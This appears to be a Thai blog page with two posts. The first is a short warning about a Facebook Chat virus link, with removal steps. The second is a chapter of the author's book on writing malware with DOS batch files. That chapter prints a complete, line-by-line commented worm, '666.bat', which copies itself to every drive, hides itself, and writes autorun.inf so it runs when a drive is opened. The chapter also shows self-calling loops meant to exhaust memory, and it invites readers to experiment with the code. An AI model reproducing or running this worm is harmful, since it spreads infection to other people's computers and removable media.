วันพุธที่ 5 มิถุนายน พ.ศ. 2556

Facebook Chat หลอน ส่งลิ้งค์ไวรัส อย่าคลิก!!!

 


เตือนภัย!! ไวรัสจาก Facebook Chat 2013 !!

ในช่วงหลายเดือนที่ผ่านมา เพื่อนๆ หลายคน ประสบปัญหาอย่างหนึ่งบนเฟสบุ๊ก ซึ่งเกิดใน Facebook Chatมันคือไวรัสลิงค์ ที่ผู้ติดเชื้อส่งมา หลังส่งข้อความแชตปลอมๆ มาทัก หลอกหลอน!!

” hi how r u “ แม้ข้อความจะส่งมาจากสามีหน้าตาราวสุภาพบุรุษจุฑาเทพของเพื่อน ที่เพิงคบกันได้ 3 เดือน เด้งขึ้นมา หากเห็นข้อความทักทายประมาณนี้ ไม่ต้องสวมวิญญาณเด็กนอก โชว์เหนือ โต้ตอบกลับไป

อาจพิมพ์ทดสอบกลับไปว่า ” tum mai mi pim thai laa kaa? i ค_าย “ ถ้าอีกฝั่งยังส่งกลับมาประมาณ“how old r u” และแนบลิ้งค์มาให้คลิก มั่นใจได้นี่คือไวรัส FlashPlayer.exe ที่แฝงมากลับลิงค์ แต่ถ้าใครคลิกไปแล้ว และกำลังเป็นผู้ติดเชื้อ ไม่ต้องตีอกชกหัวไป มาดูวิธีแก้ก่อน ใจเย็นๆ !!

Disable Seen

วิธีแก้ ไวรัสจาก Facebook Chat


SV2990195-4
กดลิ้งค์และติดตั้งไวรัส FlashPlayer.exe ไปแล้ว
จะไม่สามรถกดปิดหน้าเว็บได้ .
SV2990195-7
ดาวน์โหลด Process Explorer แล้วติดตั้ง รันโปรแกรมขึ้นมา
คลิกขวา Process The world browser หน้าเว็บที่ปิดไม่ได้
แล้วสั่ง Kill Process Tree.

SV2990195-24
ดาวน์โหลด MalwareByte Antimalware  ติดตั้ง สแกนไวรัส

SV2990195-28
จิ้ม OK > Show Show Result > Remove Selected แล้ว Restart
จากนั้นเข้าเฟสบุ๊กแล้วจัดการ เปลี่ยนรหัสผ่านใหม่ เป็นอันเสร็จพิธี!!


วันพฤหัสบดีที่ 25 เมษายน พ.ศ. 2556

เขียนไวรัสมันยากกว่าเขียนหนอนยังไง


เขียนไวรัสมันยากกว่าเขียนหนอนยังไง
เอาล่ะ...ไม่ได้เจอกันซะนาน...หายไปทำภาระกิจส่วนตัว...และแล้วมันก็จบ
ครับ...หนังสือ...หนังหา...เลิกแต่งดีกว่า...เพราะไม่รู้ว่าเราส่งต้นฉบับไป...
เขาจะนำไปลิขสิทธิ์ของเขาหรือเปล่า บอกว่า เครดิต เดือน...โอย...ป่าน
นั้นผมคงถูกเขาจดลิขสิทธิ์ไปแล้ว...เลยแก้เผ็ดด้วยการโพสต์หนังสือทั้งเล่ม
ผ่านทางเวปบล็อกซะเลย...ทีนี้ใครอยากละเมิดลิขสิทธิ์ก็ปิดเวปบล็อกผม
ก่อนแล้วกัน...
ผู้อ่านจะได้รับผลประโยชน์มากกว่าด้วย...ไม่ต้องซื้ออ่าน...ปริ้นท์มันที่บ้าน
คุณนั้นแหละ...ขนาดเกมส์ไพ่ป็อกเขียนมาตั้งแต่สมัยอยู่ ปวส. ตอนนั้นว่า
มันเขียนยากแล้วนะ...ยังโพสต์ Source code ให้ผู้อ่านไปเขียนเล่นกันฟรีๆ
สมัยนั้นใช้ Fox Pro DOS เขียน คุณคิดว่ามันยากแค่ไหน... ตอนนี้มันทำงาน
บน วินโดวส์ เขียนไม่ถึงวันก็เสร็จ

เอาล่ะ มาเขาเรื่องกันดีกว่า...

มัลลิคอยอัส ซอฟต์แวร์ หรือ Malware นั้น จำแนกได้หลายประเภท แต่ที่
ผู้ใช้คอมพิวเตอร์ แยกแยะกันไม่ค่อยจะออกกันซะเลยคือ ไวรัส กับ หนอน
คอมพิวเตอร์ ถ้าคุณเองเป็นผู้ถูกเล่นงานล่ะก็...ไม่สำคัญหลอกว่ามันจะเป็น
อะไร...แต่เกลียดมันอย่างเดียว...แต่ถ้าคุณเป็นผู้เขียนหรือผู้ที่ศึกษาด้าน
ความปลอดภัยระบบ...ขอบอกว่ามันจำแนกอย่างนี้
1. ไวรัสสามารถแพร่ตัวมันเองไปกับหนอนได้
2. หนอนคอมพิวเตอร์ไม่สามารถแพร่เชื้อใส่ไวรัสได้แต่อาศัยในม้าโทรจัน
ได้
3. ไวรัสสามารถฝั่งตัวในหนอน...และม้าโทรจันได้โดยไม่ต้องรอการเรียก
ใช้จากหนอนหรือม้าโทรจัน หรืออาศัยฝั่งอยู่ในรูปแบบของคำสั่งทำลายได้

อ่ะมาเข้าสู่...ปฐมภูมิของ แบทไฟล์ไวรัส

กรณีศึกษาเพื่อทำความเข้าใจเกี่ยวกับคำสั่งไวรัส
1. หนอนและไวรัสแบทช์ไฟล์
เจาะลึก DOS Batch File (ปูพื้นฐานการศึกษามัลแวร์)
Batch File คืออะไร...มันคือชุดคำสั่งที่รวบรวมคำสั่งบน Command Line (หรือคำสั่งบน หน้าต่าง Cmd ของ วินโดวส์ XP) ซึ่งในอดีต...DOS สร้างขึ้นมาเพื่อเป็นเมนูลัดบนระบบปฏิบัติการรุ่นโบราณที่ทำงานอยู่บน"คอนโซล(แป้นพิมพ์และจอภาพ)" เช่นการ CD \DOS คือการเข้าไปยัง Directory DOS หากจะพิมพ์ข้อความเหล่านั้นทั้งหมด...บ่อยๆ ครั้ง จะทำให้เสียเวลา DOS จึงให้สามารถนำคำสั่งที่ใช้บ่อยๆ มาบันทึกเป็นแฟ้มข้อความที่มีนามสกุล .BAT เพื่อให้สามารถพิมพ์ชื่อแฟ้ม .BAT นั้นและตามด้วย Enter ก็สามารถเรียกใช้คำสั่งทั้งหมดในนั้นได้คำสั่งเพียงคำสั่งเดียวคุณเองจำมันได้ จะกลายเป็นเส้นทางลัดและคำสั่งแบบซับซ้อน
ซึ่งตัวของ Batch File เองสามารถทำงานอะไรได้บ้าง...โอย...มันทำงานได้มากจนคุณเองคาดไม่ถึงเลย...ตั้งแต่การล็อกระบบตรวจสอบข้อมูล Error หรือเขียนไวรัส...(อันสุดท้ายนี้ไม่ค่อยชอบนะแต่คุ้นเคย) และผู้อ่านที่บางคนไม่เคยแตะ...DOS มาก่อนจะศึกษาได้หรือเปล่า...ได้ครับ...แต่ต้องมีพื้นฐานต้องหาอ่านกันหน่อย ในหนังสือเล่มนี้จะอธิบายเฉพาะคำสั่งที่สำคัญๆ เท่านั้น...เพราะเกรงว่าถ้าอธิบายทุกๆ คำสั่งของ DOS เนื้อหาของหนังสือจะไม่พอครับ...
เอาล่ะ...ปูพื้นกันใหม่ด้วย DOS บนวินโดวส์เอ็กซ์พี...
DOS ที่ทำงานบนวินโดวส์ 32 บิต มันจะขยายการทำงานของ Environment Memory ที่คุณใช้กำหนดตัวแปรด้วยคำสั่ง SET และมันก็ทำงานร่วมกับชื่อแฟ้มข้อมูลที่มีขนาดยาวๆ ได้สบาย รวมถึงบรรจุคำสั่งภายใน (Internal Command) เอาไว้ในระบบวินโดวส์ ครับ...เป็นผลให้ตำรา DOS ที่คุณเคยเปิดอ่าน...เก็บมันใส่ลังได้เลยเพราะคำสั่งใหม่ๆ เพิ่มเข้ามาเพียบ...ผมเองก็นำมาสอนได้ไม่ทุกคำสั่งครับ...แต่มีรายชื่อคำสั่งภายใน (Internal Command) ให้คุณดูเล่นๆ ดังนี้ ASSOC, AT, ATTRIB, BREAK, CACLS, CALL, CD, CHCP, CHDIR, CHKDSK,CHKNTFS, CLS, CMD, COLOR, COMP, COMPACT, CONVERT, COPY, DATE,DEL, DIR, DISKCOMP, DISKCOPY, DOSKEY, ECHO, ENDLOCAL, ERASE,EXIT, FC, FIND, FINDSTR, FOR, FORMAT, FTYPE, GOTO, GRAFTABL,HELP, IF, LABEL, MD, MKDIR, MODE, MORE, MOVE, PATH, PAUSE, POPD, PRINT, PROMPT, PUSHD, RD, RECOVER, REM, REN, RENAME, REPLACE,RMDIR, SET, SETLOCAL, SHIFT, SORT, START, SUBST, TIME, TITLE, TREE, TYPE, VER, VERIFY, VOL, XCOPY นี้คือคำสั่งที่สามารถทำงานได้ทุกเวลาที่ วินโดวส์ทำงานครับ ไม่เหมือนกับ (External Command) เช่น EDIT.EXE, FDISK.EXE ซึ่งไวรัสเองสามารถลบแฟ้มคำสั่งเหล่านั้นทิ้ง ส่งผลให้ใช้คำสั่งนั้นไม่ได้ ตัวอย่างคือถ้าไวรัสลบแฟ้ม REG.EXE ทิ้งไปซะ จะทำให้ไม่สามารถแก้ไขระบบรีจีสตรีย์ ของวินโดวส์ได้ใน DOS Command และถ้าไวรัสลบแฟ้ม REGEDIT.EXE, REGEDIT32.EXE ทิ้งไปอีก ก็ไม่สามารถเข้ารีจีสตรีย์ ในวินโดวส์ได้เลย ทำให้การฆ่าไวรัสยากขึ้นอีกมาก อย่างไรก็ดี คุณรู้แล้วควรสำรองแฟ้มเหล่านี้เก็บเอาไว้เพื่อไม่ให้ถูกเล่นงานจากไวรัสแบบเซียน
คำสั่งบน DOS นั้น ประกอบด้วย...
[คำสั้งDOS]วรรค[/ พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น DIR /AS C:\WINDOWS
หรือ
[คำสั่งDOS]วรรค[+- พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น ATTRIB +R +H +S C:\AUTOEXEC.BAT
หรือ
[คำสั่งDOS]วรรค[คำสั่งย่อย]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น REG QUERY HKLM\SYSTEM
หรือจะดูรูปแบบคำสั่งในตัวช่วย
[คำสั่งDOS] /?
เช่น COPY /?
หรือ
[คำสั่งDOS]วรรค[คำสั่งย่อย] /?
เช่น REG QUERY /?
DOS จะมีอุปกรณ์เชื่อมต่อที่สำคัญอยู่ แฮนเดิล...
ซึ่งทำงานเสมอ..โดยไม่มีโปรแกรมใดเข้าไปแตะต้อง...นอกจากยืมใช้งาน
1. อุปกรณ์ "CON" ใช้อ้างถึงเมื่อต้องการติดต่อจอภาพกับคีย์บอร์ด
2. อุปกรณ์ "AUX" ใช้อ้างถึงเมื่อต้องการติดต่อพอร์ตสื่อสารอนุกรม
3. อุปกรณ์ "PRN" ใช้อ้างถึงเมื่อต้องการติดต่อเครื่องพิมพ์ (Default)
4. อุปกรณ์ "LPT" ใช้อ้างถึงพอร์ตขนาน
5. อุปกรณ์ "NUL" ใช้อ้างถึงเมื่อไม่ต้องการส่งข้อมูลไปที่ใดเลยผลทำให้การแสดงผลของคำสั่งไม่มีหรือหายไป...
คำสั่งเชื่อมต่อ หรือ "ไปป์ปิ้ง ; Piping"
และคำสั่งที่จะอ้างถึงอุปกรณ์เหล่านั้นเราเรียก "ท่อ Pipe" หรือคำสั่ง "ไปป์ปิ้ง" มีอยู่ คำสั่งคือ
1. | "เชื่อมต่อ" คำสั่งนี้เป็นคำสั่งไปป์ตัวจริงใช้เชื่อมคำสั่ง DOS 2 คำสั่งให้ทำงานพร้อมกัน คำสั่งอย่างมากเท่าที่ทำงานมา) แต่คำสั่งนี้ทำงานได้ตั้งแต่ DOS 5 เป็นต้นมาแต่มีข้อเสียคือถ้าจะใช้คำสั่งนี้...ห้ามใช้กับอุปกรณ์ROM เช่น CD-ROM กล่าวคือคำสั่งต้องอาศัย Temporary ในการทำงานจึงไม่สามารถทำงานกับอุปกรณ์ที่ป้องกันการเขียนได้
2. > "ยิงออก" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพไปยังอุปกรณ์ทั้ง 5
3. >> "ยิงเพิ่ม" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพเพิ่มเติมจาก "ยิงออก" ไปยังอุปกรณ์ทั้ง 5
4. < "รับเข้า" คำสั่งนี้เป็นคำสั่งส่งผลจากคำสั่งด้านหลังเข้ามา
5. & "และคำสั่ง" (ใช้ในวินโดวส์ XP ขึ้นไป) เนื่องจาก XP สามารถเขียนคำสั่ง DOS หลายคำสั่งในบรรทัดเดียวกันได้...(บางคนไม่รู้) และคำสั่งที่ใช้ในการเชื่อมต่อคำสั่งเหล่านั้นคือ (คำสั่งDOS) & (คำสั่งDOS) & (คำสั่งDOS)
ตัวอย่างคำสั่งที่น่าสนใจ
COPY CON A.BAT (หมายถึง "คัดลอกอุปกรณ์ CON ในชื่อ A.BAT")
พิมพ์คำสั่งลงไป...เพราะนี้คือแป้นรับคำสั่งแบบ Notepad แต่มันกลับไปแก้ไขบรรทัดบนไม่ได้...จบการทำงานด้วย Ctrl+Z
TYPE A.BAT >PRN (หมายถึง "พิมพ์ข้อความ A.BAT ไปที่ เครื่องพิมพ์")
มาดูการเขียนหนอนคอมพิวเตอร์กันซะเลย...
:: นี้คือแบทช์ไฟล์หนอนคอมพิวเตอร์ที่ทำงานบนวินโดวส์ 98 , วินโดวส์ Me และ วินโดวส์ XP
:: ส่งผลให้ทุกไดร์ฟของระบบติด Autorun.INF พร้อมแนบแฟ้ม 666.bat ซึ่งเป็นหนอนไปด้วย
:: หนอนนี้จะทำงานต่อเมื่อมีคนดับเบิ้ลคลิ๊กที่ไดร์ฟที่ติดหนอน...มันจึงเริ่มทำงานในทันที
@echo off
:: คำสั่งนี้คือการซ่อนบรรทัดคำสั่ง Command Line บนดอสไม่ให้แสดงการทำงาน
if not "%1"=="" goto Interface
:: คำสั่งนี้ไว้ตรวจสอบว่ามีการเรียกใช้ลูปการค้นหาไดร์ฟหรือไม่ถ้ามีจะไปที่ตำแหน่งติดเชื้อ
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d
:: วนการทำงานจนกว่าครบทุกไดร์ฟ...และทำการเรียกตัวเองขึ้นมาโดยส่งข้อมูลเป็นชื่อไดร์ฟ
Start .
:: เข้าสู่หน้าต่างวินโดวส์ตามปกติ...เพื่อไม่ให้ผิดสังเกต
goto endbat
:: ไปที่ตำแหน่งสุดท้าย...เพราะหมดคำสั่งควบคุม
:Interface
:: นี้คือตำแหน่งเริ่มต้นติดเชื้อ
type 666.bat >%1:\666.bat
:: คัดลอกแฟ้ม 666.bat ซึ่งเป็นหนอนไปยังทุกไดร์ฟที่พบ
attrib +s +h +r %1:\666.bat > nul
:: กำหนดให้แฟ้มหนอน 666.bat เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน
attrib -r -h -s %1:\autorun.inf>nul
:: กำหนดคุณสมบัติของ Autorun.inf ถ้าพบจะแก้ให้เป็นแฟ้มปกติเขียนได้
echo [autorun] > %1:\autorun.inf
:: ส่งข้อความ [autorun] ไปยังแฟ้ม Autorun.inf เพื่อสร้างคำสั่งหนอน
echo shellexecute=666.bat >>%1:\autorun.inf
:: ส่งข้อความต่อท้ายในอีกบรรทัด shellexcute=666.bat เพื่อเรียกหนอนทำงานเมื่อ Autorun
attrib +s +h +r %1:\autorun.inf > nul
:: กำหนดให้แฟ้ม Autorun.inf เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน
:endbat
:: สิ้นสุดคำสั่งหนอน
จำแนกคำสั่งที่สำคัญในแบทช์ไฟล์...
1. คำสั่ง @ (คำสั่งซ่อนบรรทัดคอมมานด์ไลน์) คำสั่งนี้ ใช้กำหนดหน้าคำสั่ง Echo Off ซึ่งก็ทำงานเหมือนกับคำสั่งนี้เช่นกันแต่ คำสั่ง Echo Off จะไม่มีผลต่อคำสั่งของมันเอง...จึงต้องอาศัยคำสั่ง นำหน้าอีกทีเพื่อซ่อนบรรทัดคอมมานด์ไลน์อีกที แต่ถ้าภายในคำสั่งของ แบทช์ไฟล์มีบรรทัดที่น้อยมาก ก็อาจจะใช้ นำหน้าคำสั่งเหล่านั้นได้เลยเพื่อให้ประหยัดเนื้อที่คำสั่ง เช่น
@cls
@dir /as /s
หรือ
@echo off
cls
dir /as /s
2. คำสั่ง : (คำสั่งกำหนดตำแหน่งของชุดคำสั่ง) คำสั่งนี้คือการกำหนด ลาเบล (Label) หรือตำแหน่งของชุดคำสั่งดอสแต่ละคำสั่ง ซึ่งบางครั้ง อาจใช้กำหนดลูปการทำงานของชุดคำสั่งในแบทไฟล์เพื่อให้ทำงานแบบไม่มีวันหยุด เช่น
@echo off
:loop
:: ตำแหน่งเริ่มต้น
echo Loop Command
:: แสดงข้อความ
pause
:: รอรับคีย์บอร์ดใดๆ
goto Loop
:: วนกลับไปที่ตำแหน่งเริ่มต้น
สำหรับ :: (คำสั่งนี้ไม่มีในตำราใดๆ ครับ) เพราะเป็นการประยุกต์ใช้ คำสั่ง : แต่ทำการซ้อนกัน ตัว เพื่อให้มันไม่ถูกเรียกใช้งานจากแบทช์ไฟล์ จึงมีค่าเท่ากับคำสั่ง REM (Remark หรือ หมายเหตุ) คำสั่งนี้ถูกประยุกต์ใช้งานในคู่มือการสอนเขียนแบทช์ไฟล์ในยุคแรกๆ มาตั้งนานแล้ว...เช่น
:: นี้คือหมายเหตุ
หรือ
rem นี้คือหมายเหตุ
3. คำสั่ง goto (คำสั่งย้ายการทำงานไปยังลาเบลที่กำหนด) คำสั่งนี้มีผลต่อลาเบลที่อยู่ภายในแบทไฟล์นั้น...และในวินโดวส์เอ็กซ์พี นี้สามารถกำหนดให้มันรับอากิวเมนต์ของคำสั่ง IF ERRORLEVEL ได้ด้วย (ดูเงื่อนไขในHelp ของ ดอส) ในคำสั่ง : ที่ผ่านมาตำแหน่งถูกต้อง แต่ถ้าชื่อของตำแหน่งไม่ถูกต้อง เช่น
:loop
:: กำหนดตำแหน่งวนคำสั่ง
@echo Loop Command
:: แสดงข้อความเมื่อวนการทำงาน
@goto Looop
:: ไปยังตำแหน่ง Looop ซึ่งไม่มีอยู่ในคำสั่ง
@echo Error Me
:: คำสั่งนี้จะไม่สามารถทำงานได้
จากตัวอย่างคำสั่งของแบทช์ไฟล์ไม่สามารถทำงานได้สมบรูณ์ เพราะคำสั่ง Looop นั้นไม่มีอยู่เนื่องจากผู้เขียนเติม o (โอ) เพิ่มเข้าไปอีกตัวจึงทำให้อ่านตำแหน่งผิดพลาด เป็นผลให้คำสั่งที่ต่อท้ายลงมาไม่สามารถทำงานได้ แต่คำสั่ง goto นั้นมีข้อดีตรงที่ไม่แยกแยะตัวพิมพ์เล็กหรือพิมพ์ใหญ่ เช่น
:LooP
:: กำหนดตำแหน่งวนการทำงานเป็นตัวพิมพ์เล็กและพิมพ์ใหญ่
@echo Loop Command
:: แสดงข้อความเมื่อวนการทำงาน
@goto loop
:: ไปยังตำแหน่ง LooP โดยไม่สนใจตัวพิมพ์เล็กหรือพิมพ์ใหญ่
หมายเหตุ หากคำสั่งของแบทช์ไฟล์ทำงานไม่หยุด...ให้คุณกด {Ctrl+Break} เพื่อหยุดการทำงานของมัน
4. คำสั่ง if not "%1" == "" ทำคำสั่ง (คำสั่งตัดสินใจ ถ้า พารามิเตอร์ที่ ไม่มีตัวอักษร ให้ทำ) คำสั่งนี้จะใช้ต่อเมื่อต้องการดูว่าพารามิเตอร์ที่ต่อท้ายแฟ้มแบทช์ไฟล์มีหรือไม่ เช่น สมมุติให้แฟ้มแบทช์ไฟล์นี้ชื่อ test.bat
C:\>test command1
หมายถึง ส่งคำว่า command1 ไปประมวลผลในแฟ้มชื่อ test.bat และคำสั่งนั้นคือ %และหากสมมุติว่า เว้นวรรค และพิมพ์ command2 ต่อท้าย command1 ดูตัวอย่าง
C:\>test command1 command2
คำว่า command2 จะถูกเรียกว่า พารามิเตอร์ที่ แทนด้วย %ในทันที ซึ่งในแบทไฟล์นั้นสามารถรับได้สูงสุด 9พารามิเตอร์ คือ %ถึง %ซึ่งก็มากดพอดู แต่หากแบทช์ไฟล์ของคุณต้องการพารามิเตอร์ที่มากกว่านั้น คงต้องศึกษาคำสั่ง shift เพิ่มเติมใน Help บนดอสของวินโดวส์เอ็กซ์พีกันอีกที
กลับมาที่ if not "%1" == "" (ให้ทำ) ว่ามันทำงานอย่างไร ในคำสั่ง If นั้นมีกิ่งก้านสาขาของคำสั่งที่มากครับ...ผมเองก็ไม่สามารถนำมาอธิบายให้ได้หมด...แต่ถ้าต้องการศึกษาให้ลึกซึ้งคงต้องพึ่งพา Help กันนะครับ...ทีนี้มาดูซิว่าทำไม่ if "%1" == "" (ให้ทำ) หรือ if not "%1" == "" (ให้ทำ) ถึงต้องมีเครื่องหมาย "" (อัญประกาศ) กำหนดพารามิเตอร์ที่ ทั้งนี้ทั้งนั้นเป็นเพราะว่า if %1 == (ให้ทำ) จะเห็นว่าชุดคำสั่งไม่สมบรูณ์ ถ้าบอกดอสให้ทราบว่า %นั้นต้องการเปรียบเทียบกับอะไรอยู่ เพราะ ถ้าคุณเว้นว่างเอาไว้เฉยๆ จะทำให้ดอสทำงานผิดพลาดนั้นเอง ซึ่งโดยปกติแล้ว if %1 == %2 (ให้ทำ) จะสามารถเปรียบเทียบกันได้ทันที...โดยไม่ต้องระบุเครื่องหมายอัญประกาศหรือเครื่องหมายอื่นๆ นำหน้ามันเพราะ แบทช์ไฟล์เป็นภาษาสคริปที่ประมวลข้อความ (การประมวลผลการคำนวนนั้นเพิ่งจะเริ่มมีในวินโดวส์เอ็กซ์พีเป็นต้นมา) จากตัวอย่างพอจะอธิบายออกมาเป็นรูปแบบดังนี้
@if "%1" == "" echo มีการกำหนดพารามิเตอร์ที่ 1
:: ถ้าพารามิเตอร์ที่ ไม่มีข้อความแสดงข้อความ
@if not "%1" = "" echo ไม่มีการกำหนดข้อความ
:: ถ้าพารามเตอร์ไม่มีข้อความแสดงข้อความผิดพลาด
หรือ
@if "%1" == "" (echo กรุณาระบุข้อความ ) else (echo ข้อความคือ %1)
:: เงื่อนไขนี้ใช้บนวินเอ็กซ์พีขึ้นไปเพราะดอสรุ่นเก่าๆ ไม่สามารถกำหนดเงื่อนไขแบบนี้ได้
อย่างไรก็ดี...ผมก็อยากจะบอกน้องๆ นักศึกษาที่ไม่ได้เรียนรู้ภาษาคอมพิวเตอร์มาก่อนหรืออาจจะเคยเรียนแต่ยังไม่คล่องเกี่ยวกับเงื่อนไขการคำนวนของภาษาคอมพิวเตอร์ว่า ... คำสั่ง IF... ELSE ... นั้นเป็นหัวใจสำคัญของทุกๆ ภาษาในการเขียนโปรแกรมคอมพิวเตอร์ ฉนั้น...ควรทำความเข้าใจอย่างมากในการศึกษาเงื่อนไขของคำสั่งนี้...ไม่ใช่เพื่อการเขียนไวรัสเท่านั้น...แต่มันเป็นเงื่อนไขสำคัญในการเขียนโปรแกรมฆ่าไวรัสด้วย...คำสั่งนี้คำสั่งเดียวสามารถทำให้โปรแกรมมีขนาดยาวหรือสั้นหรือทำงานได้รวดเร็วกว่า ผู้ที่เขียนโปรแกรมด้วยกัน
5. คำสั่ง for %%ตัวแปร in (ชุดข้อมูล) do ทำคำสั่ง (สำหรับ %%ตัวแปร จาก ชุดข้อมูล ทำ คำสั่ง) คำสั่งนี้มีไว้สำหรับการประมวลผลแบบหลายข้อมูลภายในคำสั่งเดียว เช่น
@for %%l in (bat vbs js) do dir *.%%l
:: สำหรับ ตัวแปร ให้ dir แฟ้มนามสกุล *.bat, *.vbs และ *.js
จะเป็นการทำงานกับหลายแฟ้มหรือหลายๆ ชุดข้อมูล โดยต้องเว้นวรรค ขั้นแต่ละชุดข้อมูลเอาไว้ และใช้ตัวแปร %%ซึ่งต้องมีเครื่องหมาย %% นำหน้าเพื่อบ่งบอกว่าเป็นตัวแปรที่มาจากชุดคำสั่ง for ถ้าไม่บ่งบอกให้ถูกหลักอาจจะทำให้คำสั่งทำงานผิดพลาดอย่างมาก มาดูตัวอย่างอีกตัวอย่างเพื่อความกระจ่างอีกที เช่น
@for %%d in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do if exist %%d:\autorun.inf echo %%d: Werning!
:: สำหรับตัวแปร ถ้าพบแฟ้ม (ตัวแปร แทนไดร์ฟข้อมูล):\autorun.inf แสดงข้อความเตือน (ตัวแปร แทนไดร์ฟข้อมูล): Werning!
ซึ่งรูปแบบของคำสั่ง...ไม่มีอะไรซับซ้อน...เพียงแต่ต้องอ้างถึงรูปแบบของตัวแปรให้ถูกต้อง...ก็สามารถทำงานได้ตามเป้าหมาย สำหรับเงื่อนไขของคำสั่ง FOR เชิงลึก คือ FOR /F และเงื่อนไขอื่นๆ นั้นผมไม่ขออธิบายเพราะมันจะทำให้หนังสือเล่มนี้ดูเป็นหนังสือเชิงอ้างอิง...ซึ่งผมไม่ตั้งใจให้เป็นเช่นนั้น เพราะวัตถุประสงค์ของผมต้องการให้ผู้อ่าน ปฏิบัติและทดลองและเพื่อกระตุ้นการศึกษาค้นคว้าเพิ่มเติมต่อไป...จึงย้ำอีกทีว่าหนังสือเล่มนี้...เป็นเชิงปฏิบัติการณ์
6. คำสั่ง call %0 %%d (เรียกใช้แบทไฟล์ที่ทำงานอยู่ พร้อมส่งตัวแปรไปยังพารามิเตอร์ที่ 1) คำสั่งนี้จะทำให้แบทไฟล์เกิดการทำงานแบบ Overflow หรือ Error ได้เนื่องจาก ถ้าเขียนคำสั่งควบคุมนี้ไม่เป็นมันจะส่งผลให้หน่วยความเต็มได้...หรือเกิดการวนการทำงานของแบทไฟล์แบบไม่มีวันจบ เหมือนกับคำสั่ง goto เพียงแต่คำสั่งนี้จะส่งผลโดยตรงต่อหน่วยความจำ เช่น
@echo Me Activeting...
:: แสดงข้อความว่ากำลังทำงาน
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงานอีก
จากตัวอย่าง คำสั่งดังกล่าวจะทำงานแบบไม่มีวันจบ...รอจนกว่า ระบบปฏิบัติการณ์จะแสดงข้อความผิดพลาดในเรื่องการจัดการหน่วยความจำ หรือโปรแกรมอาจทำให้เครื่องค้างไปเลย จึงต้องระวังอย่างมากในการอ้างถึง %0หรือ พารามิเตอร์ หลัก คือ ชื่อแฟ้มคำสั่งนั้นเอง ซึ่งโดยปกติแล้ว...จะไม่มีโปรแกรมแบทช์ไฟล์ใดอ้างถึงชื่อแฟ้มคำสั่งเพื่อมาประมวลผล...นอกเสียจากเป็น "มัลแวร์" หรือ "คำสั่งฆ่ามัลแวร์" จึงต้องแยกแยะให้ดีหากจะเขียนโปรแกรมฆ่าไวรัสจำพวกนี้....
มาดูตัวอย่างเพื่อทำความเข้าใจเกี่ยวกับการใช้คำสั่ง Call กันอีกตัวอย่าง เช่น
@echo Me Activeting...
:: แสดงข้อความ
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงาน
@%0
:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้ (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)
จากตัวอย่าง ดูเหมือนว่า คำสั่งน่าจะทำงานแบบสิ้นสุด...แต่ไม่สิ้นสุดเพราะว่า คำสั่ง call จะถูกเรียกใช้ก่อน ทุกๆ ครั้งที่รันแบทซ์ไฟล์ จึงทำให้คำสั่ง %นั้นไม่สามารถทำงานได้...ในเครื่องที่ผมทดลองคือระบบปฏิบัติการวินโดวส์เอ็กซ์พีนั้น...มันจะแสดงหน้าต่างขึ้นมาสักพักและจะปิดตัวลง แต่ถ้าเรามาเขียนในทางกลับกัน เช่น
@echo Me Activeting...
:: แสดงข้อความ
@%0
:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงาน (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)
จากตัวอย่าง คำสั่งนี้จะไม่ปิดตัวเองลงไป...เพราะมันทำงานคล้ายคำสั่ง goto ส่งผลให้หน่วยความจำไม่ได้ถูกใช้ไปมากและการวนลูปการทำงานก็ยังดำเนินต่อไปอย่างไม่สิ้นสุด แต่ถ้าเราเพิ่มคำสั่งจัดการมันให้เต็มรูปแบบด้วยเงื่อนไข...จะทำให้มันทำงานได้อย่างราบรื่น เช่น
@echo Me Activeting...Parameter is %1
:: ถ้าไม่มีพารามิเตอร์ ใดๆ จะแสดงข้อความ Me Activeting...Parameter is
@if "%1" == "" %0 Again
:: ถ้าพารามิเตอร์ว่าง จะส่งคำว่า Again เป็นพารามิเตอร์ (และกระโดดการทำงานไปโดยไม่สนใจคำสั่ง ด้านล่าง)
@if "%1" == "Again" Call %0 End
:: ถ้าพารามิเตอร์เป็น Again จะเรียกแฟ้มนี้ใหม่ ส่งคำว่า End เป็น พารามิเตอร์ และจบการทำงานเพราะ ไม่มีเงือนไขการตัดสินใจ
เอาล่ะ...มาถึงตอนนี้ก็พอจะรู้เกี่ยวกับคำสั่งที่จำเป็นหมดแล้ว...เหลือแต่การประยุกต์คำสั่งดอสทั้งหมดมาเขียนเป็นมัลแวร์ ซึ่งไม่มีใครสามารถบอกได้หลอกว่า หนอนของใครเจ๋ง หรือไวรัสของใครร้ายกาจ เพราะมันไม่ใช่วัตถุประสงค์ของหนังสือเล่มนี้... ผู้เขียน เผยแพร่คำสั่งเหล่านี้เพื่อให้พวกคุณเป็น นักทดลองที่รู้ทั้งวิธีการทำงานของมันและวิธีป้องกันมันอย่างเต็มตัวเพราะการศึกษาเครื่องมือฆ่าคน หรือ วิชาชีพบางวิชาชีพนั้น...ก็ต้องศึกษาทั้งที่ไปที่มาของการแก้ปัญหาทั้งสิ้น หากจะเป็นวิสัญญีแพทย์ชั้นหนึ่ง...ไม่จำเป็นต้องลงมือฆ่าคน...แต่ต้องเรียนรู้จากคนที่โดนฆ่าหรือตายไปแล้ว...เพื่อเข้าใจหลักการตายและหลักการรักษาและป้องกันอย่างดี เช่นกันครับ...หนอนคอมพิวเตอร์ที่ได้ยกตัวอย่างไปนั้น...ขอให้นึกซะว่า...เป็นครูใหญ่ของพวกคุณแล้วกัน
อาวุธอันร้ายกาจไม่ใช่หนอน...แต่เป็นไวรัส!
